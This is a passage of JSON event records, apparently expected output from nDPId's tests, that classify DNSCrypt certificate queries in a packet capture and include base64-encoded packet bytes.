+02386{"flow_id":198,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":476,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":984041,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcVMggAH4RTqEKAAABVQVd5plbIPsGBOYr4+0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhpYmtzdHVybQAAEAABAAAAAAAAAAAABccADAXDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":476,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":198,"flow_packet_id":1,"flow_first_seen":946739380984,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"85.5.93.230","src_port":39259,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":477,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":984057,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQVMgAuX4Rc3QKAAABVQVd5gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":477,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":478,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":984062,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQVMkAuX4Rc3MKAAABVQVd5gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":478,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00659{"flow_id":195,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":479,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739381,"pkt_ts_usec":15839,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"ZmZmZmZmRERERERECABFAADPeUtAADQRWStVBV3mCgAAASD7tjYAu6OI4+6BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhpYmtzdHVybQAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAQmF4jrNkSB0NiNqctWCLsz9Hoe15aS6mrwyMq15DMDKxowa47TLEyU+dCwefDt3RvbYdetUltVlZd+8gb8kmCcgRT\/L7wkmA5gU0xv13eDWtHcb4jTpxlTH+X73K1n94yBFP8vvCSYAAAAABX1Nm5l9UuGY="} +00660{"flow_id":193,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":480,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739381,"pkt_ts_usec":16027,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"ZmZmZmZmRERERERECABFAADPeUlAADQRWS1VBV3mCgAAASD75kQAu3N24\/KBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhpYmtzdHVybQAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAQmF4jrNkSB0NiNqctWCLsz9Hoe15aS6mrwyMq15DMDKxowa47TLEyU+dCwefDt3RvbYdetUltVlZd+8gb8kmCcgRT\/L7wkmA5gU0xv13eDWtHcb4jTpxlTH+X73K1n94yBFP8vvCSYAAAAABX1Nm5l9UuGY="} +00660{"flow_id":194,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":481,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739381,"pkt_ts_usec":16821,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"ZmZmZmZmRERERERECABFAADPeUpAADQRWSxVBV3mCgAAASD7xOMAu5TZ4\/CBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhpYmtzdHVybQAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAQmF4jrNkSB0NiNqctWCLsz9Hoe15aS6mrwyMq15DMDKxowa47TLEyU+dCwefDt3RvbYdetUltVlZd+8gb8kmCcgRT\/L7wkmA5gU0xv13eDWtHcb4jTpxlTH+X73K1n94yBFP8vvCSYAAAAABX1Nm5l9UuGY="} +00659{"flow_id":196,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":482,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739381,"pkt_ts_usec":17698,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"ZmZmZmZmRERERERECABFAADPeUxAADQRWSpVBV3mCgAAASD73wIAu3q74++BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhpYmtzdHVybQAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAQmF4jrNkSB0NiNqctWCLsz9Hoe15aS6mrwyMq15DMDKxowa47TLEyU+dCwefDt3RvbYdetUltVlZd+8gb8kmCcgRT\/L7wkmA5gU0xv13eDWtHcb4jTpxlTH+X73K1n94yBFP8vvCSYAAAAABX1Nm5l9UuGY="} +00659{"flow_id":198,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":483,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739381,"pkt_ts_usec":17727,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"ZmZmZmZmRERERERECABFAADPeU1AADQRWSlVBV3mCgAAASD7mVsAu8Bk4+2BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhpYmtzdHVybQAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAQmF4jrNkSB0NiNqctWCLsz9Hoe15aS6mrwyMq15DMDKxowa47TLEyU+dCwefDt3RvbYdetUltVlZd+8gb8kmCcgRT\/L7wkmA5gU0xv13eDWtHcb4jTpxlTH+X73K1n94yBFP8vvCSYAAAAABX1Nm5l9UuGY="} +00660{"flow_id":197,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":484,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739381,"pkt_ts_usec":21276,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"ZmZmZmZmRERERERECABFAADPeU5AADQRWShVBV3mCgAAASD7ynIAu49J4\/GBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhpYmtzdHVybQAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAQmF4jrNkSB0NiNqctWCLsz9Hoe15aS6mrwyMq15DMDKxowa47TLEyU+dCwefDt3RvbYdetUltVlZd+8gb8kmCcgRT\/L7wkmA5gU0xv13eDWtHcb4jTpxlTH+X73K1n94yBFP8vvCSYAAAAABX1Nm5l9UuGY="} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":485,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":199,"flow_packet_id":1,"flow_first_seen":946739391046,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":50601,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":199,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":485,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739391,"pkt_ts_usec":46803,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcBYVAAH4RyuMKAAABi2PeSMWpIPsCCCyCmlkBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":485,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":199,"flow_packet_id":1,"flow_first_seen":946739391046,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":50601,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":486,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":200,"flow_packet_id":1,"flow_first_seen":946739391046,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":40374,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":200,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":486,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739391,"pkt_ts_usec":46808,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcBYYgAH4R5yIKAAABi2PeSJ22IPsGBPDSmlQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":486,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":200,"flow_packet_id":1,"flow_first_seen":946739391046,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":40374,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":487,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":201,"flow_packet_id":1,"flow_first_seen":946739391046,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":51509,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":201,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":487,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739391,"pkt_ts_usec":46811,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcBYcgAH4R5yEKAAABi2PeSMk1IPsGBMVRmlYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":487,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":201,"flow_packet_id":1,"flow_first_seen":946739391046,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":51509,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":488,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739391,"pkt_ts_usec":46819,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQBYYAuX4RC\/YKAAABi2PeSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":488,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":489,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":202,"flow_packet_id":1,"flow_first_seen":946739391046,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":45682,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":202,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":489,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739391,"pkt_ts_usec":46818,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcBYhAAH4RyuAKAAABi2PeSLJyIPsCCCyCmlcBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA